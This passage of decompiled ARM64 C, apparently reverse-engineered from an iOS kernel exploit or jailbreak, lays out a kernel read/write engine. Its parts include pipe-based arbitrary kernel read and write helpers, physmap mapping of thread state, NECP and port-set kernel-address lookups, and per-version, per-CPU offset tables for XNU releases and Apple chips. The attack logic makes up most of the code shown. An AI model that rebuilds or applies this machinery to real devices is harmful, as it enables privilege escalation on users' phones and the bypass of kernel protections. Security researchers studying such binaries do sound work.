  if ( !(unsigned int)buf_ensure_capacity(a1, 0xCu) )
  {
    v5 = *(unsigned int *)(a1 + 8) + *(uint64_t *)a1;
    *(uint32_t *)v5 = a2;
    result = 2.64227521e-308;
    *(uint64_t *)(v5 + 4) = 0x13000000000000LL;
    *(uint32_t *)(a1 + 8) += 12;
    ++*(uint32_t *)(a1 + 16);
  }
  return result;
}

//----- (00000000000249B8) ----------------------------------------------------
__int64 __fastcall buf_ensure_capacity(__int64 a1, unsigned int a2)
{
  int v2; // w8
  int v3; // w9
  __int64 v4; // x19
  unsigned int v6; // w21
  void *v7; // x0
  int v8; // w8

  v2 = *(uint32_t *)(a1 + 8);
  v3 = *(uint32_t *)(a1 + 12);
  if ( v3 - v2 >= a2 )
    return 0;
  v4 = 708617;
  if ( a2 <= 0xFFFFFBFF )
  {
    if ( v3 )
    {
      v6 = a2 + 1024;
      v7 = realloc(*(void **)a1, v2 + a2 + 1024);
      if ( !v7 )
        return v4;
    }
    else
    {
      v6 = a2 + 1052;
      v7 = calloc(a2 + 1052, 1u);
      if ( !v7 )
        return v4;
    }
    *(uint64_t *)a1 = v7;
    v8 = *(uint32_t *)(a1 + 8);
    *(uint32_t *)(a1 + 12) = v8 + v6;
    if ( !v8 )
    {
      v4 = 0;
      *(uint32_t *)(a1 + 8) = 28;
      return v4;
    }
    return 0;
  }
  return 708620;
}

//----- (0000000000024A64) ----------------------------------------------------
__int64 __fastcall krw_ctx_buf_append_entry(__int64 a1, __int64 a2, int a3)
{
  __int64 result; // x0
  __int64 v7; // x8

  result = buf_ensure_capacity(a1, 0x10u);
  if ( !(uint32_t)result )
  {
    v7 = *(unsigned int *)(a1 + 8) + *(uint64_t *)a1;
    *(uint64_t *)v7 = a2;
    *(uint32_t *)(v7 + 8) = 34799616;
    *(uint32_t *)(v7 + 12) = a3;
    *(uint32_t *)(a1 + 8) += 16;
    ++*(uint32_t *)(a1 + 16);
  }
  return result;
}

//----- (0000000000024AD0) ----------------------------------------------------
__int64 __fastcall buf_append_data(__int64 a1, const void *a2, unsigned int a3)
{
  __int64 v6; // x21

  v6 = buf_ensure_capacity(a1, a3);
  if ( !(uint32_t)v6 )
  {
    memcpy((void *)(*(unsigned int *)(a1 + 8) + *(uint64_t *)a1), a2, a3);
    *(uint32_t *)(a1 + 8) += a3;
  }
  return v6;
}

//----- (0000000000024B38) ----------------------------------------------------
__int64 __fastcall send_mach_msg_from_ctx(__int64 a1, mach_port_t a2, mach_port_t a3, mach_msg_id_t a4)
{
  __int64 result; // x0
  mach_msg_header_t *v6; // x10
  mach_msg_bits_t v7; // w11
  int v8; // w9
  mach_msg_size_t v9; // w9
  mach_msg_return_t v10; // w0

  result = 708609;
  if ( a1 )
  {
    v6 = *(mach_msg_header_t **)a1;
    if ( *(uint64_t *)a1 )
    {
      v7 = *(uint32_t *)(a1 + 16);
      if ( v7 )
        v8 = -2147478252;
      else
        v8 = 5396;
      v6->msgh_bits = v8;
      v9 = *(uint32_t *)(a1 + 8);
      v6->msgh_size = v9;
      v6->msgh_remote_port = a3;
      v6->msgh_local_port = a2;
      v6->msgh_voucher_port = 0;
      v6->msgh_id = a4;
      v6[1].msgh_bits = v7;
      v10 = mach_msg(*(mach_msg_header_t **)a1, 262145, v9, 0, 0, 0, 0);
      if ( v10 )
        return v10 | 0x80000000;
      else
        return 0;
    }
  }
  return result;
}

//----- (0000000000024BC0) ----------------------------------------------------
double __fastcall parse_xnu_version_string(__int64 a1)
{
  char *v2; // x0
  char *v3; // x0
  double result; // d0
  __int64 v5; // x8
  unsigned __int64 v6; // x22
  int v7; // w8
  int v8; // w8
  char v9; // [xsp+30h] [xbp-560h] BYREF
  char v10; // [xsp+34h] [xbp-55Ch] BYREF
  __int64 v11; // [xsp+38h] [xbp-558h] BYREF
  __int64 v12; // [xsp+40h] [xbp-550h] BYREF
  struct utsname v13; // [xsp+48h] [xbp-548h] BYREF

  uname(&v13);
  *(uint64_t *)a1 = strdup(v13.version);
  v11 = 0;
  v12 = 0;
  v2 = strstr(v13.version, "xnu-");
  if ( sscanf(v2, "xnu-%d.%d.%d~%d", &v11, (char *)&v11 + 4, &v12, (char *)&v12 + 4) == 4
    || (v3 = strstr(v13.version, "xnu-"),
        sscanf(v3, "xnu-%d.%d.%d.%d.%d~%d", &v11, (char *)&v11 + 4, &v12, &v9, &v10, (char *)&v12 + 4) == 6) )
  {
    v5 = 0;
    v6 = 0;
    do
    {
      v6 = *(int *)((char *)&v11 + v5) + 1000 * v6;
      v5 += 4;
    }
    while ( v5 != 16 );
    *(uint64_t *)(a1 + 8) = v6;
    *(uint32_t *)(a1 + 36) = 38;
    if ( strstr(v13.version, "T8120") )
      v7 = 46;
    else
      v7 = 38;
    *(uint32_t *)(a1 + 36) = v7;
    if ( v6 <= 0x74B4D4047FFLL )
    {
      if ( v6 < 0x73835AB9470LL )
        v8 = 104;
      else
        v8 = 88;
    }
    else
    {
      v8 = 72;
    }
    *(uint32_t *)(a1 + 32) = v8;
    *(uint64_t *)&result = 0x30000000060LL;
    *(__int128 *)(a1 + 16) = xmmword_43690;
  }
  return result;
}
// 43690: using guessed type __int128 xmmword_43690;

//----- (0000000000024D64) ----------------------------------------------------
const CFDictionaryRef *__fastcall ioservice_get_matching(const char *a1)
{
  const CFDictionaryRef *result; // x0
  __int64 vars8; // [xsp+8h] [xbp+8h]

  result = IOServiceMatching(a1);
  if ( result )
  {
    return (const CFDictionaryRef *)IOServiceGetMatchingService(kIOMasterPortDefault, result);
  }
  return result;
}
// 24D90: variable 'vars8' is possibly undefined

//----- (0000000000024DA8) ----------------------------------------------------
__int64 __fastcall ioservice_notification_send(
        unsigned int a1,
        __int64 a2,
        __int64 a3,
        unsigned int a4,
        unsigned int a5,
        const void *a6,
        int a7)
{
  mach_port_t reply_port; // w0
  mach_port_t v14; // w21
  __int64 v15; // x0
  int v16; // w8
  int v17; // w9
  int v18; // w23
  uint32_t *v19; // x8
  mach_port_t msgh_remote_port; // w10
  mach_msg_size_t msgh_size; // w8
  char v22; // w9
  mach_msg_header_t v24[2]; // [xsp+0h] [xbp-170h] BYREF
  __int128 v25; // [xsp+30h] [xbp-140h]
  __int128 v26; // [xsp+40h] [xbp-130h]
  __int128 v27; // [xsp+50h] [xbp-120h]
  __int128 v28; // [xsp+60h] [xbp-110h]
  __int128 v29; // [xsp+70h] [xbp-100h]
  __int128 v30; // [xsp+80h] [xbp-F0h]
  __int128 v31; // [xsp+90h] [xbp-E0h]
  __int128 v32; // [xsp+A0h] [xbp-D0h]
  __int128 v33; // [xsp+B0h] [xbp-C0h]
  __int128 v34; // [xsp+C0h] [xbp-B0h]
  __int128 v35; // [xsp+D0h] [xbp-A0h]
  __int128 v36; // [xsp+E0h] [xbp-90h]
  __int128 v37; // [xsp+F0h] [xbp-80h]
  __int128 v38; // [xsp+100h] [xbp-70h]

  v37 = 0u;
  v38 = 0u;
  v35 = 0u;
  v36 = 0u;
  v33 = 0u;
  v34 = 0u;
  v31 = 0u;
  v32 = 0u;
  v29 = 0u;
  v30 = 0u;
  v27 = 0u;
  v28 = 0u;
  v25 = 0u;
  v26 = 0u;
  memset(v24, 0, sizeof(v24));
  reply_port = mig_get_reply_port();
  if ( reply_port )
  {
    v14 = reply_port;
    v24[0].msgh_bits = -2147478253;
    *(uint64_t *)&v24[0].msgh_remote_port = __PAIR64__(reply_port, a1);
    *(uint64_t *)&v24[0].msgh_id = 0x200000B36LL;
    *(uint64_t *)&v24[1].msgh_size = a3;
    v24[1].msgh_local_port = 0x1000000;
    *(uint64_t *)&v24[1].msgh_voucher_port = __PAIR64__(a5, a4);
    DWORD1(v25) = 1310720;
    *((NDR_record_t *)&v25 + 1) = NDR_record;
    v15 = __strlcpy_chk((char *)&v26 + 8, (const char *)a2, 0x80u, 0x80u);
    v16 = v15 + 1;
    v17 = 8 - ((v15 + 1) & 7);
    if ( ((v15 + 1) & 7) == 0 )
      v17 = 0;
    v18 = v17 + v16;
    DWORD1(v26) = v17 + v16;
    v19 = (mach_msg_bits_t *)((char *)&v24[0].msgh_bits + (unsigned int)(v17 + v16));
    v19[18] = a4;
    v19[19] = a7;
    memcpy(v19 + 20, a6, (unsigned int)(8 * a7));
    if ( mach_msg(v24, 3, v18 + 8 * a7 + 80, 0x110u, v14, 0, 0) )
    {
      mig_dealloc_reply_port(v14);
      msgh_remote_port = 0;
      msgh_size = 0;
      v22 = 0;
    }
    else if ( v24[0].msgh_id == 2970 )
    {
      if ( (v24[0].msgh_bits & 0x80000000) != 0 && v24[1].msgh_bits == 1 )
      {
        msgh_remote_port = 0;
        v22 = 1;
        msgh_size = v24[1].msgh_size;
      }
      else
      {
        msgh_size = 0;
        v22 = 1;
        msgh_remote_port = v24[1].msgh_remote_port;
      }
    }
    else
    {
      msgh_size = 0;
      v22 = 1;
      msgh_remote_port = -301;
    }
  }
  else
  {
    msgh_remote_port = 0;
    msgh_size = 0;
    v22 = 1;
  }
  if ( ((unsigned __int8)v22 & (msgh_remote_port == 0) & (msgh_size != 0) & (msgh_size != -1)) != 0 )
    return msgh_size;
  else
    return 0;
}

//----- (0000000000024FC0) ----------------------------------------------------
__int64 __fastcall register_ioservice_publish_notify(__int64 a1, unsigned int a2, mach_port_name_t *a3)
{
  host_t v6; // w0
  __int64 result; // x0
  mach_port_name_t name; // [xsp+8h] [xbp-28h] BYREF
  io_master_t io_master; // [xsp+Ch] [xbp-24h] BYREF

  v6 = mach_host_self();
  if ( !host_get_io_master(v6, &io_master) && !mach_port_allocate(mach_task_self_, 1u, &name) )
  {
    result = ioservice_notification_send(io_master, (__int64)"IOServicePublish", a1, a2, name, 0, 0);
    if ( (uint32_t)result )
    {
      *a3 = name;
      return result;
    }
    mach_port_destroy(mach_task_self_, name);
  }
  return 0;
}

//----- (0000000000025068) ----------------------------------------------------
bool __fastcall set_thread_realtime_policy_1(thread_act_t a1, thread_policy_t policy_info)
{
  return !thread_policy_set(a1, 2u, policy_info, 4u) && thread_policy_set(a1, 3u, policy_info + 4, 1u) == 0;
}

//----- (00000000000250C4) ----------------------------------------------------
bool __fastcall set_thread_abs_realtime(thread_act_t a1, unsigned int a2)
{
  unsigned __int64 v4; // d0
  unsigned __int64 v5; // d1
  double v7; // d0
  struct mach_timebase_info v8; // [xsp+0h] [xbp-30h] BYREF
  integer_t policy_info[3]; // [xsp+8h] [xbp-28h] BYREF
  __int64 v10; // [xsp+14h] [xbp-1Ch]

  if ( mach_timebase_info(&v8) )
    return 0;
  LODWORD(v5) = v8.numer;
  LODWORD(v4) = v8.denom;
  v7 = (double)v4 / (double)v5 * 1000000.0;
  policy_info[0] = (unsigned int)(v7 * (double)a2);
  policy_info[1] = (unsigned int)(v7 * 50.0);
  policy_info[2] = policy_info[0];
  v10 = 0x7F00000000LL;
  return set_thread_realtime_policy_1(a1, policy_info);
}
// 250F8: variable 'v4' is possibly undefined
// 250FC: variable 'v5' is possibly undefined

//----- (000000000002515C) ----------------------------------------------------
bool __fastcall set_thread_abs_realtime_50(thread_act_t a1)
{
  return set_thread_abs_realtime(a1, 0x32u);
}

//----- (0000000000025164) ----------------------------------------------------
__int64 __fastcall release_write_semaphore_lock(__int64 a1, unsigned int a2)
{
  __int64 result; // x0
  __int64 v4; // x9

  result = 708616;
  v4 = *(uint64_t *)(a1 + 280);
  if ( v4 && *(uint64_t *)(a1 + 288) )
  {
    if ( a2 > 0x3F )
    {
      return 163857;
    }
    else
    {
      result = 0;
      atomic_store(0, (unsigned __int8 *)(v4 + a2));
    }
  }
  return result;
}

//----- (00000000000251A4) ----------------------------------------------------
__int64 __fastcall acquire_write_semaphore_lock(__int64 a1, unsigned int a2, unsigned int a3)
{
  __int64 v3; // x19
  __int64 v4; // x25
  uint64_t v8; // x0
  uint64_t v9; // x22
  atomic_uchar *v10; // x25

  v3 = 708616;
  v4 = *(uint64_t *)(a1 + 280);
  if ( v4 && *(uint64_t *)(a1 + 288) )
  {
    if ( a2 > 0x3F )
    {
      return 163857;
    }
    else
    {
      v8 = mach_absolute_time();
      if ( (atomic_exchange((atomic_uchar *volatile)(v4 + a2), 1u) & 1) != 0 )
      {
        v9 = v8;
        v10 = (atomic_uchar *)(v4 + a2);
        while ( !a3
             || a3 >= (mach_absolute_time() - v9) * *(unsigned int *)(a1 + 604) / *(unsigned int *)(a1 + 608) / 0xF4240 )
        {
          thread_switch(0, 2, 1u);
          if ( (atomic_exchange(v10, 1u) & 1) == 0 )
            return 0;
        }
        return 708640;
      }
      else
      {
        return 0;
      }
    }
  }
  return v3;
}

//----- (0000000000025294) ----------------------------------------------------
__int64 __fastcall fd_close(int a1)
{
  __int64 result; // x0
  int v2; // w19
  int v3; // w8

  result = close(a1);
  if ( (uint32_t)result )
  {
    v2 = errno;
    v3 = errno;
    if ( v2 < 0 )
      v3 = -v3;
    return v3 | 0x40000000u;
  }
  return result;
}

//----- (00000000000252D4) ----------------------------------------------------
__int64 __fastcall fd_open_dev_null(int *fdOut)
{
  int fd; // w0
  int fd_; // w8
  __int64 result; // x0
  int v5; // w19
  int v6; // w8

  fd = open("/dev/null", 0x20);
  if ( fd < 0 )
  {
    v5 = errno;
    v6 = errno;
    if ( v5 < 0 )
      v6 = -v6;
    return v6 | 0x40000000u;
  }
  else
  {
    fd_ = fd;
    result = 0;
    *fdOut = fd_;
  }
  return result;
}

//----- (0000000000025334) ----------------------------------------------------
__int64 __fastcall sub_25334(struct_krwCtx *a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5)
{
  __int64 v5; // x20
  __int64 v11; // x26
  uint64_t v13[3]; // [xsp+8h] [xbp-78h] BYREF
  __int64 v14; // [xsp+20h] [xbp-60h] BYREF
  __int64 v15; // [xsp+28h] [xbp-58h]
  unsigned __int64 v16; // [xsp+30h] [xbp-50h]
  int v17; // [xsp+3Ch] [xbp-44h] BYREF

  v5 = 708609;
  if ( a1->gap1911[0] != -1
    && a1->gap1911[1] != -1
    && a1->gap1913 != -1
    && a1->gap1914 != -1
    && check_kaddr_in_physmap(a1, a2) )
  {
    v17 = -1;
    if ( a5 )
    {
      v11 = fd_open_dev_null(&v17);
      if ( (uint32_t)v11 )
        goto LABEL_15;
      v11 = fd_read_test((int *)a1->gap1911);
      if ( (uint32_t)v11 )
        goto LABEL_15;
    }
    v14 = a4;
    v15 = 0x1000000000000000LL;
    v16 = a2;
    v11 = fd_write((__int64)a1->gap1911, &v14, 0x18u);
    if ( !(uint32_t)v11 )
    {
      v11 = fd_read((int *)a1->gap1911, v13, 0x18u);
      if ( !(uint32_t)v11 )
      {
        if ( v14 ^ v13[0] | v15 ^ v13[1] | v16 ^ v13[2] )
          v11 = 708628;
        else
          v11 = fd_read((int *)&a1->gap1913, a3, a4);
      }
    }
    if ( a5 )
LABEL_15:
      fd_close(v17);
    return v11;
  }
  return v5;
}

//----- (0000000000025498) ----------------------------------------------------
__int64 __fastcall pipe_pair_krw(struct_krwCtx *a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5)
{
  __int64 v5; // x20
  __int64 test; // x26
  uint64_t v13[3]; // [xsp+8h] [xbp-78h] BYREF
  __int128 v14; // [xsp+20h] [xbp-60h] BYREF
  unsigned __int64 v15; // [xsp+30h] [xbp-50h]
  int v16; // [xsp+3Ch] [xbp-44h] BYREF

  v5 = 708609;
  if ( a1->gap1911[0] != -1
    && a1->gap1911[1] != -1
    && a1->gap1913 != -1
    && a1->gap1914 != -1
    && check_kaddr_in_physmap(a1, a2) )
  {
    v16 = -1;
    if ( a5 )
    {
      test = fd_open_dev_null(&v16);
      if ( (uint32_t)test )
        goto LABEL_15;
      test = fd_read_test((int *)a1->gap1911);
      if ( (uint32_t)test )
        goto LABEL_15;
    }
    v14 = xmmword_436C0;
    v15 = a2;
    test = fd_write((__int64)a1->gap1911, &v14, 0x18u);
    if ( !(uint32_t)test )
    {
      test = fd_read((int *)a1->gap1911, v13, 0x18u);
      if ( !(uint32_t)test )
      {
        if ( (unsigned __int64)v14 ^ v13[0] | *((uint64_t *)&v14 + 1) ^ v13[1] | v15 ^ v13[2] )
          test = 708628;
        else
          test = fd_write((__int64)&a1->gap1913, a3, a4);
      }
    }
    if ( a5 )
LABEL_15:
      fd_close(v16);
    return test;
  }
  return v5;
}
// 436C0: using guessed type __int128 xmmword_436C0;

//----- (00000000000255FC) ----------------------------------------------------
__int64 __fastcall init_necp_option_struct(__int64 result, __int64 a2, __int64 a3, __int64 a4, int a5)
{
  __int64 v5; // x8

  *(__int128 *)(a2 + 128) = 0u;
  *(__int128 *)(a2 + 144) = 0u;
  *(__int128 *)(a2 + 96) = 0u;
  *(__int128 *)(a2 + 112) = 0u;
  *(__int128 *)(a2 + 64) = 0u;
  *(__int128 *)(a2 + 80) = 0u;
  *(__int128 *)(a2 + 32) = 0u;
  *(__int128 *)(a2 + 48) = 0u;
  *(__int128 *)a2 = 0u;
  *(__int128 *)(a2 + 16) = 0u;
  *(uint64_t *)(a2 + 16) = 0x6300000003LL;
  *(uint32_t *)(a2 + 28) = 0;
  if ( a5 == 7 && (v5 = *(uint64_t *)(result + 544)) != 0 )
  {
    *(uint64_t *)(a2 + 40) = v5;
    *(uint64_t *)(a2 + 56) = a3 + 96;
    *(uint64_t *)(a2 + 104) = a4;
  }
  else
  {
    *(uint64_t *)(a2 + 40) = a3 + 96;
    *(uint64_t *)(a2 + 56) = a4;
    *(uint32_t *)(a2 + 96) = a5;
  }
  *(uint64_t *)(a2 + 64) = 0LL;
  *(uint8_t *)(a2 + 83) = 34;
  *(uint64_t *)(a2 + 88) = 0LL;
  return result;
}

//----- (000000000002566C) ----------------------------------------------------
__int64 __fastcall krw_fd_verify_roundtrip(struct_krwCtx *a1, int *a2, unsigned __int64 a3)
{
  __int64 result; // x0
  uint8_t __s2[96]; // [xsp+8h] [xbp-D8h] BYREF
  uint8_t __s1[96]; // [xsp+68h] [xbp-78h] BYREF

  if ( !kreadbuf_universal(a1, a3, 0x60u, __s1, 1) )
    return 163855;
  result = fd_write((__int64)a2, __s1, 0x60u);
  if ( !(uint32_t)result )
  {
    result = fd_read(a2, __s2, 0x60u);
    if ( !(uint32_t)result )
    {
      if ( !memcmp(__s1, __s2, 0x60u) )
        return 0;
      else
        return 708628;
    }
  }
  return result;
}

//----- (000000000002572C) ----------------------------------------------------
__int64 __fastcall krw_read_thunk(struct_krwCtx *ctx, __int64 vaddr, __int64 size, void *outBuf)
{
  return kreadbuf_universal(ctx, vaddr, size, outBuf, 1);
}

//----- (0000000000025734) ----------------------------------------------------
bool __fastcall krw_ctx_has_read_caps(struct_krwCtx *ctx)
{
  unsigned __int64 v2; // x8
  bool v3; // zf
  int v5; // w1

  v2 = ctx->xnuVersionPacked;
  if ( v2 >= XNU_VERSION_PACKED(10002, 0, 0, 0, 0) )
  {
    v3 = KRW_CTX_AT(ctx, krw_thread_state_mapping_t *, KRW_CTX_THREAD_STATE_MAPPING_OFFSET) == 0;
    return !v3;
  }
  if ( v2 < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
  {
    if ( KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_SELF_TASK_IPC_OFFSET)
      && KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_PTRAUTH_BASE_OFFSET) )
    {
      if ( *(uint8_t *)((char *)ctx + 11) )
      {
        v5 = 8388864;
        goto LABEL_16;
      }
      return 1;
    }
    return 0;
  }
  if ( KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET) == -1
    || uuid_is_null((const unsigned __int8 *)((char *)ctx + KRW_CTX_NECP_UUID_OFFSET))
    || !KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_PORT_SET_KADDR_OFFSET) )
    return 0;
  if ( !*(uint8_t *)((char *)ctx + 11) )
    return 1;
  v5 = 134217984;
LABEL_16:
  v3 = !krw_ctx_has_flag(ctx, v5);
  return !v3;
}

//----- (0000000000025804) ----------------------------------------------------
__int64 __fastcall setup_krw_engine(struct_krwCtx *ctx)
{
  unsigned __int64 v2; // x8
  krw_thread_state_mapping_t *v3; // x21
  int v4; // w0
  int v5; // w20
  int v6; // w0
  int v7; // w21
  __int64 v8; // x20
  unsigned __int64 v9; // x22
  __int64 v10; // x9
  __int64 v11; // x9
  mach_port_t v12; // w21
  unsigned __int64 v13; // x0
  unsigned __int64 v14; // x0
  vm_size_t v15; // x22
  int v16; // w0
  int v17; // w19
  int v18; // w8
  int v19; // w19
  int v20; // w8
  void *(__cdecl *v21)(void *); // x0
  int v22; // w8
  thread_act_t v23; // w0
  mach_port_t v25; // w23
  unsigned __int64 v26; // x0
  unsigned __int64 v27; // x20
  __int64 v28; // x8
  int v29; // w0
  __int64 v30; // x0
  int v31; // w24
  pthread_t v32; // x8
  __int64 v33; // [xsp+0h] [xbp-B0h] BYREF
  int v34; // [xsp+Ch] [xbp-A4h] BYREF
  __int64 v35; // [xsp+10h] [xbp-A0h] BYREF
  vm_address_t address; // [xsp+18h] [xbp-98h] BYREF
  pthread_t v37; // [xsp+20h] [xbp-90h] BYREF
  pthread_attr_t v38; // [xsp+28h] [xbp-88h] BYREF

  v2 = ctx->xnuVersionPacked;
  if ( v2 >= XNU_VERSION_PACKED(10002, 0, 0, 0, 0) )
  {
    address = 0;
    v37 = 0;
    v3 = calloc(1u, sizeof(*v3));
    if ( v3 )
    {
      v4 = pthread_attr_init(&v38);
      if ( v4 )
      {
        v5 = v4;
      }
      else
      {
        v16 = pthread_attr_setdetachstate(&v38, 1);
        if ( v16 )
        {
          v5 = v16;
          pthread_attr_destroy(&v38);
        }
        else
        {
          v21 = (void *(__cdecl *)(void *))nullsub_1(vtable_trampoline_b);
          v5 = pthread_create_suspended_np(&v37, &v38, v21, 0);
          pthread_attr_destroy(&v38);
          if ( !v5 )
          {
            v25 = pthread_mach_thread_np(v37);
            v26 = get_task_kobject_addr(ctx, v25);
            if ( v26 )
            {
              v27 = v26;
              if ( krw_ctx_has_flag(ctx, KRW_CTX_FLAG_CPU_A17) )
              {
                v28 = KRW_THREAD_STATE_OFFSET_A17;
              }
              else if ( krw_ctx_has_flag(ctx, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) )
              {
                v28 = KRW_THREAD_STATE_OFFSET_A12_TO_A17;
              }
              else
              {
                v29 = krw_ctx_has_flag(ctx, KRW_CTX_FLAG_CPU_A11);
                v28 = KRW_THREAD_STATE_OFFSET_A12_TO_A17;
                if ( !v29 )
                  v28 = KRW_THREAD_STATE_OFFSET_PRE_A11;
              }
              v30 = kaddr_to_phys_v1((__int64)ctx, v28 + v27);
              if ( v30 )
              {
                v31 = v30;
                address = 0;
                v15 = (unsigned int)ctx->pageSizeOrSomething;
                v8 = physmap_maybe((__int64)ctx, &address, v15, v30 & ~ctx->pageMask);
                if ( !(uint32_t)v8 )
                {
                  v32 = v37;
                  v3->mappedSize = v15;
                  v3->suspendedThread = v32;
                  LODWORD(v32) = (uint32_t)ctx->pageMask & v31;
                  v3->machThread = v25;
                  v3->statePageOffset = (uint32_t)v32;
                  v3->mappedAddress = address;
                  KRW_CTX_AT(ctx, krw_thread_state_mapping_t *, KRW_CTX_THREAD_STATE_MAPPING_OFFSET) = v3;
                  return v8;
                }
              }
              else
              {
                v15 = 0;
                v8 = 163878;
              }
            }
            else
            {
              v15 = 0;
              v8 = 163848;
            }
            goto LABEL_42;
          }
        }
      }
      v15 = 0;
      if ( v5 >= 0 )
        v22 = v5;
      else
        v22 = -v5;
      v8 = v22 | 0x40000000u;
    }
    else
    {
      v15 = 0;
      v8 = 708617;
    }
LABEL_42:
    if ( v37 )
    {
      v23 = pthread_mach_thread_np(v37);
      if ( !thread_resume(v23) )
        pthread_join(v37, 0);
    }
    if ( address && v15 )
      vm_deallocate(mach_task_self_, address, v15);
    if ( v3 )
      free(v3);
    return v8;
  }
  if ( v2 < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
  {
    v12 = mach_task_self_;
    v13 = get_task_port_kaddr_wrap(ctx, mach_task_self_, (unsigned int *)&v38);
    v8 = 163854;
    if ( v13 )
    {
      KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_SELF_TASK_IPC_OFFSET) = v13;
      v14 = get_ptrauth_base_offset((__int64)ctx, v12);
      if ( v14 )
      {
        v8 = 0;
        KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_PTRAUTH_BASE_OFFSET) = v14;
      }
    }
  }
  else
  {
    v37 = 0;
    v6 = necp_open(0);
    if ( v6 != -1 )
    {
      v7 = v6;
      if ( necp_client_action(v7, 1, &v38, 0x10, &v37, 8) == -1 )
      {
        v19 = errno;
        v20 = errno;
        if ( v19 < 0 )
          v20 = -v20;
        v8 = v20 | 0x40000000u;
      }
      else
      {
        v8 = validate_port_set_chain(ctx, v7, (__int64 *)&address);
        if ( !(uint32_t)v8 )
        {
          v8 = 163855;
          if ( kread_physmap_decorated(ctx, address + 24, (unsigned __int64 *)&v35) )
          {
            if ( validate_kaddr_range((__int64)ctx, v35) )
            {
              v9 = ctx->xnuVersionPacked;
              v10 = 880;
              if ( v9 > XNU_VERSION_PACKED(8020, 119, 1023, 1023, 1023) )
                v10 = 1392;
              if ( v9 >> 43 > 0x44A )
                v10 = 1408;
              if ( kreadbuf_universal(ctx, v10 + v35, 4u, &v34, 1) )
              {
                if ( v34 != 8 )
                  return 163857;
                v11 = 888;
                if ( v9 > XNU_VERSION_PACKED(8020, 119, 1023, 1023, 1023) )
                  v11 = 1400;
                if ( v9 >> 43 > 0x44A )
                  v11 = 1416;
                if ( kread_physmap_decorated(ctx, v35 + v11, (unsigned __int64 *)&v33) )
                {
                  if ( validate_kaddr_range((__int64)ctx, v33) )
                  {
                    v8 = 0;
                    KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET) = v7;
                    *(__int128 *)((char *)ctx + KRW_CTX_NECP_UUID_OFFSET) = *(__int128 *)&v38.__sig;
                    KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_PORT_SET_KADDR_OFFSET) = v35;
                  }
                  else
                  {
                    return 163878;
                  }
                }
                return v8;
              }
            }
            else
            {
              v8 = 163878;
            }
          }
        }
      }
      close(v7);
      return v8;
    }
    v17 = errno;
    v18 = errno;
    if ( v17 < 0 )
      v18 = -v18;
    return v18 | 0x40000000u;
  }
  return v8;
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000025C6C) ----------------------------------------------------
__int64 __fastcall teardown_krw_thread(struct_krwCtx *ctx)
{
  unsigned __int64 v2; // x8
  __int64 v3; // x21
  krw_thread_state_mapping_t *v4; // x20
  vm_size_t v5; // x2
  kern_return_t v6; // w0
  _opaque_pthread_t *v7; // x0
  thread_act_t v8; // w0
  int v9; // w0
  int v10; // w0
  int v12; // [xsp+8h] [xbp-28h] BYREF
  int v13; // [xsp+Ch] [xbp-24h] BYREF

  v2 = ctx->xnuVersionPacked;
  if ( v2 < XNU_VERSION_PACKED(10002, 0, 0, 0, 0) )
  {
    if ( v2 < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
    {
      return 0;
    }
    else
    {
      v12 = -1;
      v3 = fd_open_dev_null(&v12);
      if ( !(uint32_t)v3 )
      {
        v9 = KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET);
        if ( v9 != -1 )
        {
          close(v9);
          KRW_CTX_AT(ctx, uint32_t, KRW_CTX_NECP_FD_OFFSET) = -1;
        }
        *(__int128 *)((char *)ctx + KRW_CTX_NECP_UUID_OFFSET) = 0u;
        KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_PORT_SET_KADDR_OFFSET) = 0;
        v10 = v12;
        goto LABEL_21;
      }
    }
  }
  else
  {
    v13 = -1;
    v3 = fd_open_dev_null(&v13);
    if ( !(uint32_t)v3 )
    {
      v4 = KRW_CTX_AT(ctx, krw_thread_state_mapping_t *, KRW_CTX_THREAD_STATE_MAPPING_OFFSET);
      KRW_CTX_AT(ctx, krw_thread_state_mapping_t *, KRW_CTX_THREAD_STATE_MAPPING_OFFSET) = 0;
      if ( !v4 )
      {
        v3 = 0;
LABEL_20:
        v10 = v13;
LABEL_21:
        fd_close(v10);
        return v3;
      }
      if ( v4->mappedAddress )
      {
        v5 = v4->mappedSize;
        if ( v5 )
        {
          v6 = vm_deallocate(mach_task_self_, v4->mappedAddress, v5);
          if ( v6 )
            goto LABEL_9;
        }
      }
      v7 = v4->suspendedThread;
      if ( v7 )
      {
        v8 = pthread_mach_thread_np(v7);
        v6 = thread_resume(v8);
        if ( v6 )
        {
LABEL_9:
          v3 = v6 | 0x80000000;
LABEL_19:
          v4->mappedAddress = 0;
          v4->mappedSize = 0;
          v4->suspendedThread = 0;
          v4->machThread = 0;
          v4->statePageOffset = 0;
          KRW_CTX_AT(ctx, krw_thread_state_mapping_t *, KRW_CTX_THREAD_STATE_MAPPING_OFFSET) = 0;
          free(v4);
          goto LABEL_20;
        }
        pthread_join(v4->suspendedThread, 0);
      }
      v3 = 0;
      goto LABEL_19;
    }
  }
  return v3;
}

//----- (0000000000025DB0) ----------------------------------------------------
__int64 __fastcall get_page_size_for_kaddr(__int64 a1)
{
  unsigned __int64 v1; // x8
  unsigned int v2; // w9

  v1 = *(uint64_t *)(a1 + 344);
  if ( v1 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    v2 = 0x4000;
  else
    v2 = 0x80000;
  if ( v1 <= XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
    return v2;
  else
    return 528LL;
}

//----- (0000000000025DE8) ----------------------------------------------------
bool __fastcall has_valid_krw_path(struct_krwCtx *ctx)
{
